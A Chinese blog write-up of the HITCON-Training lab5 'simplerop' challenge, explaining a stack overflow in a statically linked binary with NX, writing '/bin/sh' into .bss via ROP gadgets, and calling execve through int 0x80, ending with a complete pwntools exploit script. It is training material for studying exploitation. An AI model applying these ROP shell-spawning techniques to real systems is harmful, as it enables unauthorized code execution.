HITCON-Training-master lab5 wp

本文介绍如何利用特殊的gadget技巧和syscall调用绕过NX保护机制,实现栈溢出攻击并获取Shell的过程。通过构造特定的payload,将/bin/sh写入内存,并通过execve系统调用执行。
摘要由CSDN通过智能技术生成

程序防护机制:

开启了NX堆栈不可执行

查看了下ida反编译的代码


可以发现主函数十分简单,但是程序里却又十分多的函数,说明这是静态链接编译的

程序要求输入一局话,可以发现在read函数处有明显的栈溢出漏洞,buf大小是20 ,但是read函数读取100个字节的数据

我一开始是想直接用ROPgadget生成ropchain的,但是尝试过发现,它可以溢出的空间不足以放下ROPgadget生成的ropchain

所以失败了

可是文件中没有system函数也没有"/bin/sh"字符串

查看了下文件是否包涵 int 0x80


发现程序中存在中断信号,所以我们可以通过构造syscall的调用来getshell

解题思路

1.将"/bin/sh\x00"写入内存

2.改变execve()函数的参数分别压入 eax,ebx,ecx,edx中,然后执行int 0x80 来执行系统调用

这里将"/bin/sh"写入内存中我又学会了一种新姿势,利用特殊的gadget 例如是 mov dword ptr [ecx],eax

将字符串压入eax中,要写入的地址压入ecx中,然后通过这个gadget就可以将字符串写入想写入的内存了

这些gadget可以通过ROPgadget来找到


第一步:

我在这找到的gadget是mov dword ptr [edx],eax ; pop edx,ret; pop eax,ret


payload = p32(pop_edx) + p32(buf) + p32(pop_eax)+p32("/bin" ) + p32(gadget) + p32(pop_edx) + p32(buf+4)

payload +=p32(pop_eax) + p32("/sh\x00") + p32(gadget)


第二步:

将syscall调用的参数压入相应的寄存器中

execve("/bin/sh\x00",0,0) 对应为 eax=0xb(系统调用号) ebx = buf ;edx=0 ; ecx = 0

payload = p32(pop_edx_ecx_ebx) + p32(0) + p32(0) + p32(buf) + p32(pop_eax) + p32(0xb) + p32(int_80)


exp:

 

from pwn import*
p = process('./simplerop')
elf = ELF('./simplerop')

pop_edx_ecx_ebx = 0x0806eca0
pop_eax = 0x080b7e26
pop_edx = 0x0806ec7a
int_80 = 0x0806c8f5
gadget = 0x080707b9 # mov word ptr [edx],eax
bss = elf.bss()
read_plt = elf.symbols['read']


p.recv()
payload = 'a'*24 + p32(pop_edx) +p32(bss)+ p32(pop_eax) +"/bin"+ p32(gadget)
payload +=  p32(pop_edx) + p32(bss+4) + p32(pop_eax) + "/sh\x00" + p32(gadget)
payload += p32(pop_edx_ecx_ebx) + p32(0) + p32(0) + p32(bss) + p32(pop_eax) + p32(0xb)
payload += p32(int_80)

p.send(payload)
p.interactive()
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值